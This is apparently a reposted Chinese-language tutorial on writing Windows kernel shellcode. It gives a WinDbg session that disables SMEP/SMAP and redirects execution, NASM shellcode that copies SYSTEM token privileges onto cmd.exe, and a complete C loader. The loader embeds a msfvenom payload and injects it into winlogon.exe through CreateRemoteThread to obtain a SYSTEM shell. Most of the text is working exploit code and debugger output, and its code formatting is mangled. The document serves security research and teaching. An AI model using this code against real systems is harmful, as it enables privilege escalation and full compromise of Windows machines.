nt!DbgBreakPointWithStatus:fffff801`208203e0 ccint30: kd> bp nt!NtCreateTransaction0: kd> bl0e Disable Clear fffff801`207d2490 0001 (0001) nt!NtCreateTransaction
0: kd> gBreakpoint 0 hitnt!NtCreateTransaction:fffff801`207d2490 4c8b15f90fd7ff mov r10,qword ptr [nt!_imp_NtCreateTransaction (fffff801`20543490)]4: kd> db 280386e000000000280`386e0000 90654c8b04258801-000048b80200200  .eL..%....M.. ..00000280`386e0010 004c89 c1 48b8048-0400004981 e8 4804  .L..M..H...I..H.00000280`386e0020 00004181 b8 a8 0500-0077696e6c75 e5 49  ..A......winlu.I00000280`386e0030 83 e8 3048b402849-83 e0 f0 41 c6 40480b  ..0M.@(I...A.@H.00000280`386e0040 488b89 b8 04000048-83 e1 f0 c6 81 d4 0000  H......H........00000280`386e0050 000090 c3 00000000-0000000000000000  ................00000280`386e0060 0000000000000000-0000000000000000  ................00000280`386e0070 0000000000000000-0000000000000000  ................4: kd> u280386e0000 L2000000280`386e0000 90              nop00000280`386e0001 654c8b042588010000 mov r8,qword ptr gs:[188h]00000280`386e000a 4d8b8020020000 mov r8,qword ptr [r8+220h]00000280`386e0011 4c89c1 mov rcx,r800000280`386e0014 4d8b8048040000 mov r8,qword ptr [r8+448h]00000280`386e001b 4981e848040000 sub r8,448h00000280`386e0022 4181b8a805000077696e6c cmp dword ptr [r8+5A8h],6C6E6977h00000280`386e002d 75e5 jne 00000280`386e001400000280`386e002f 4983e830 sub r8,30h00000280`386e0033 4d8b4028 mov r8,qword ptr [r8+28h]00000280`386e0037 4983e0f0 and     r8,0FFFFFFFFFFFFFFF0h00000280`386e003b 41c640480b mov byte ptr [r8+48h],0Bh00000280`386e0040 488b89b8040000 mov rcx,qword ptr [rcx+4B8h]00000280`386e0047 4883e1f0 and     rcx,0FFFFFFFFFFFFFFF0h00000280`386e004b c681d400000000 mov byte ptr [rcx+0D4h],000000280`386e0052 90              nop00000280`386e0053 c3 ret00000280`386e0054 0000add     byte ptr [rax],al00000280`386e0056 0000add     byte ptr [rax],al00000280`386e0058 0000add     byte ptr [rax],al00000280`386e005a 0000add     byte ptr [rax],al00000280`386e005c 0000add     byte ptr [rax],al00000280`386e005e 0000add     byte ptr [rax],al00000280`386e0060 0000add     byte ptr [rax],al00000280`386e0062 0000add     byte ptr [rax],al00000280`386e0064 0000add     byte ptr [rax],al00000280`386e0066 0000add     byte ptr [rax],al00000280`386e0068 0000add     byte ptr [rax],al00000280`386e006a 0000add     byte ptr [rax],al00000280`386e006c 0000add     byte ptr [rax],al00000280`386e006e 0000add     byte ptr [rax],al00000280`386e0070 0000add     byte ptr [rax],al4: kd> .formats cr4Evaluate expression:  Hex: 00000000`00b50ef8  Decimal:11865848  Decimal (unsigned) : 11865848  Octal:0000000000000055207370  Binary: 0000000000000000000000000000000000000000101101010000111011111000  Chars:   ........  Time: Mon May 1810:04:081970  Float:   low 1.66276e-038 high 0  Double: 5.86251e-3174: kd> r cr4=850EF84: kd> r cr4cr4=0000000000850ef84: kd> .formats cr4Evaluate expression:  Hex: 00000000`00850ef8  Decimal:8720120  Decimal (unsigned) : 8720120  Octal:0000000000000041207370  Binary: 0000000000000000000000000000000000000000100001010000111011111000  Chars:   ........  Time: Sun Apr 1200:15:201970  Float:   low 1.22195e-038 high 0  Double: 4.30831e-3174: kd> r riprip=fffff801207d24904: kd> r rip=00000280386e00004: kd> r riprip=00000280386e00004: kd> p00000280`386e0001 654c8b042588010000 mov r8,qword ptr gs:[188h]4: kd> bp00000280`386e00534: kd> gBreakpoint 1 hit00000280`386e0053 c3 ret4: kd> bc 0,14: kd> bl4: kd> r rip=fffff801207d24904: kd> r riprip=fffff801207d24904: kd> g
Windows内核Shellcode

权限操纵Shellcode

我们要编写的最后一个 shellcode 是关于权限操作的,它基于一个_TOKEN结构体,该结构体有一个名为SEP_TOKEN_PRIVILEGESat offset 的子结构体0x40。

这个想法是:

  • 获取cmd.exe _EPROCESS

  • 赋予其全部权限

执行如下(这是我通过反复试验建议的):

  • 通过 PPID_EPROCESS迭代获取cmd.exe

  • 获取_EPROCESS进程system

  • 检查system _TOKEN

  • 从子结构中获取Presentqword_SEP_TOKEN_PRIVILEGES_TOKEN

  • 获取_TOKENcmd.exe

  • 将Presentqword粘贴system到PresentEnabledcmd.exe

  • 运行创建远程线程的程序winlogon.exe

  • 系统外壳

Windows内核Shellcode
Windows内核Shellcode
我们关心的结构是_SEP_TOKEN_PRIVILEGES。

Windows内核Shellcode
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ((poi(ffff800e70e5e080+0x4b8) & 0xfffffffffffffff0) + 0x40)   +0x000 Present 0x00000006`02880000   +0x008 Enabled 0x800000   +0x010 EnabledByDefault 0x40800000
Windows内核Shellcode

我们从子结构中传递所有三个值,,,Present和Enabled,并将它们粘贴到中。EnabledByDefaultsystemcmd.exe

让我们验证一下权限:

Windows内核Shellcode

我们都拥有它们。现在如果我们ProcessInjection.exe遇到winlogon.exe,它将导致:

Windows内核Shellcode

shellcode 如下:

BITS64section .text  nop  mov r8, qword [gs:0x188]  mov r8, qword [r8 + 0x220]  mov r10, r8 ; get two _EPROCESS' start addresses (one for cmd and the other for system)  mov r9, qword [r8 + 0x540] ; get the cmd.exe PID (InheritedFromUniqueProcessId)  GetSystemLoop:    mov r10, qword [r10 + 0x448] ; go to the flink    sub r10, 0x448 ; go to the _EPROCESS' startpoint    cmp qword [r10 + 0x440], 0x04 ; compare the UniqueProcessId with 4 (system PID)    jne GetSystemLoop  mov r10, [r10 + 0x4b8] ; get the system process _TOKEN structure  and r10, 0xfffffffffffffff0 ; get the pointer to the object and not to the fast reference pointer  GetCmdLoop:    mov r8, qword [r8+0x448] ; go to the flink    sub r8, 0x448 ; go to the _EPROCESS' startpoint    cmp qword [r8 + 0x440], r9 ; compare the UniqueProcessId cmd.exe's PID    jne GetCmdLoop  mov r8, [r8 + 0x4b8] ; get the system process _TOKEN structure  and r8, 0xfffffffffffffff0 ; get the pointer to the object and not to the fast reference pointer  mov r9, qword [r10 + 0x40] ; move the Present parameter from _SEP_TOKEN_PRIVILEGES system process substructure to the same at cmd.exe  mov qword [r8 + 0x40], r9  mov r9, qword [r10 + 0x48] ; move the Enabled parameter from _SEP_TOKEN_PRIVILEGES system process substructure to the same at cmd.exe  mov qword [r8 + 0x48], r9  mov r9, qword [r10 + 0x50] ; move the EnabledByDefault parameter from _SEP_TOKEN_PRIVILEGES system process substructure to the same at cmd.exe  mov qword [r8 + 0x50], r9  retend

该shellcode执行以下操作:

  1. 获取内核的_KTHREAD结构

  2. 获取_EPROCESS来源_KTHREAD

  3. 保存一份_EPROCESS

  4. 将线程的 PPID(cmd.exe我们的漏洞正在运行)存储在r9

  5. 循环通过将 PID 与 4 进行比较来system获取_EPROCESS

  6. 获取system _TOKEN,清除最后4位以获取对象指针而不是快速引用

  7. 循环通过与 进行比较来cmd.exe获取_EPROCESSr9

  8. 获取,相同的cmd.exe掩码_TOKEN

  9. 将三个值:Present、Enabled和EnabledByDefault从system传输到cmd.exe

  10. 返回

现在像往常一样,我们用编译nasm.exe并查看反汇编ndisasm.exe

Windows内核Shellcode
然后我们将其粘贴到HxD提取的shellcode中并将其加载到我们的程序中:
#include<stdio.h>#include<windows.h>#include<tlhelp32.h>#include<ktmw32.h>#pragma comment(lib,"KtmW32.lib")// buffer que vamos a asignar para que el kernel lo ejecutechar KernelShellcode[] = {0x900x650x4C0x8B0x040x250x880x010x000x000x4D0x8B0x800x200x020x000x000x4D0x890xC20x4D0x8B0x880x400x050x000x000x4D0x8B0x920x480x040x000x000x490x810xEA0x480x040x000x000x490x830xBA0x400x040x000x000x040x750xE80x4D0x8B0x920xB80x040x000x000x490x830xE20xF00x4D0x8B0x800x480x040x000x000x490x810xE80x480x040x000x000x4D0x390x880x400x040x000x000x750xE90x4D0x8B0x800xB80x040x000x000x490x830xE00xF00x4D0x8B0x4A0x400x4D0x890x480x400x4D0x8B0x4A0x480x4D0x890x480x480x4D0x8B0x4A0x500x4D0x890x480x500xC30x000x000x000x000x000x000x000x000x00};// 280 bytes// EXITFUNC=thread// msfvenom -p windows/x64/exec CMD=cmd.exe -f raw EXITFUNC=threadunsignedchar pPayload[] = {0xFC0x480x830xE40xF00xE80xC00x000x000x00,0x410x510x410x500x520x510x560x480x310xD2,0x650x480x8B0x520x600x480x8B0x520x180x48,0x8B0x520x200x480x8B0x720x500x480x0F0xB7,0x4A0x4A0x4D0x310xC90x480x310xC00xAC0x3C,0x610x7C0x020x2C0x200x410xC10xC90x0D0x41,0x010xC10xE20xED0x520x410x510x480x8B0x52,0x200x8B0x420x3C0x480x010xD00x8B0x800x88,0x000x000x000x480x850xC00x740x670x480x01,0xD00x500x8B0x480x180x440x8B0x400x200x49,0x010xD00xE30x560x480xFF0xC90x410x8B0x34,0x880x480x010xD60x4D0x310xC90x480x310xC0,0xAC0x410xC10xC90x0D0x410x010xC10x380xE0,0x750xF10x4C0x030x4C0x240x080x450x390xD1,0x750xD80x580x440x8B0x400x240x490x010xD0,0x660x410x8B0x0C0x480x440x8B0x400x1C0x49,0x010xD00x410x8B0x040x880x480x010xD00x41,0x580x410x580x5E0x590x5A0x410x580x410x59,0x410x5A0x480x830xEC0x200x410x520xFF0xE0,0x580x410x590x5A0x480x8B0x120xE90x570xFF,0xFF0xFF0x5D0x480xBA0x010x000x000x000x00,0x000x000x000x480x8D0x8D0x010x010x000x00,0x410xBA0x310x8B0x6F0x870xFF0xD50xBB0xE0,0x1D0x2A0x0A0x410xBA0xA60x950xBD0x9D0xFF,0xD50x480x830xC40x280x3C0x060x7C0x0A0x80,0xFB0xE00x750x050xBB0x470x130x720x6F0x6A,0x000x590x410x890xDA0xFF0xD50x630x6D0x64,0x2E0x650x780x650x000x000x000x000x000x00};boolProcessEnum(constwchar_t* wcProcess, DWORD* ProcId){  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) {printf("n[ERROR GETTING "hSnapshot"] -> %dn", GetLastError());returnfalse;  }  PROCESSENTRY32W ProcEntry = { 0 };  ProcEntry.dwSize = sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, &ProcEntry)) {printf("n[ERROR at "Process32FirstW"] -> %dn", GetLastError());returnfalse;  }do {if (lstrcmpW(ProcEntry.szExeFile, wcProcess) == 0) {      wprintf(L"n[+] Process found -> "%s"nt\__PID -> %dn", ProcEntry.szExeFile, ProcEntry.th32ProcessID);      *ProcId = ProcEntry.th32ProcessID;break;    }  } while (Process32NextW(hSnapshot, &ProcEntry));returntrue;}boolRemoteInjection(DWORD dwPid){  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);if (hProcess == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE HANDLE TO THE PROCESS] -> %dn", GetLastError());returnfalse;  }printf("n[HANDLE]n");  PVOID pRemoteAddress = VirtualAllocEx(hProcess, nullptr0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (pRemoteAddress == nullptr) {printf("n[ERROR ALLOCATING THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse;  }printf("n[BUFFER]n");  SIZE_T BytesWritten = 0;if (!WriteProcessMemory(hProcess, pRemoteAddress, pPayload, 280nullptr)) {printf("n[ERROR WRITTING THE SHELLCODE INTO THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse;  }printf("n[SHELLCODE]n");  HANDLE CreateThread = CreateRemoteThread(hProcess, nullptr0, (LPTHREAD_START_ROUTINE)pRemoteAddress, nullptr0nullptr);if (CreateThread == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE REMOTE THREAD] -> %dn", GetLastError());returnfalse;  }  WaitForSingleObject(CreateThread, INFINITE);  VirtualFreeEx(hProcess, pRemoteAddress, 0x1000, MEM_RELEASE);  CloseHandle(hProcess);  CloseHandle(CreateThread);returntrue;}intmain(){printf("nAllocating Kernel Shellcode...n");// asignamos el espacio  PVOID pShellcode = VirtualAlloc(nullptr0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  RtlSecureZeroMemory(pShellcode, 0x1000);memcpy(pShellcode, KernelShellcode, 130);  VirtualLock(pShellcode, 0x1000);printf("n[SHELLCODE ADDRESS] 0x%pn", pShellcode);printf("nPress <ENTER> to trigger NtCreateTransaction syscalln");  getchar();  CreateTransaction(NULL00000NULL);constwchar_t* wcProcess = L"winlogon.exe";  DWORD dwPid = 0;  wprintf(L"nPress <ENTER> to inject shellcode (winlogon.exe) into %s processn", wcProcess);  getchar();if (!ProcessEnum(wcProcess, &dwPid)) {printf("n[main] error enumerating processesn");return1;  }if (!RemoteInjection(dwPid)) {printf("n[main] error executing the remote processn");return1;  }return0;}
一如既往……

Windows内核Shellcode

我们设置一个断点NtCreateTransaction,并用程序触发它。一旦程序停止,我们就会检查用户shellcode缓冲区。

然后我们禁用SMEP和SMAP,并改变rip位置

Windows内核Shellcode

现在我们在shellcode的指令bp上设置一个ret我们重新定位rip,这样就可以了

Windows内核Shellcode
Windows内核Shellcode

第一次执行乍一看是失败的,但是,如果我们检查一下我们拥有的权限……

Windows内核Shellcode

如果我们再次运行该程序:

Windows内核Shellcode

我们成功获得了系统shell

您可以在我的 GitHub 仓库Windows Kernel Shellcode上查看代码

https://github.com/r0keb/Windows-Kernel-Shellcode

早上好,如果我没见到你,那么祝你下午好、晚上好、晚安

原文始发于微信公众号(Ots安全):Windows内核Shellcode

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月23日13:16:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows内核Shellcodehttps://cn-sec.com/archives/4092821.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息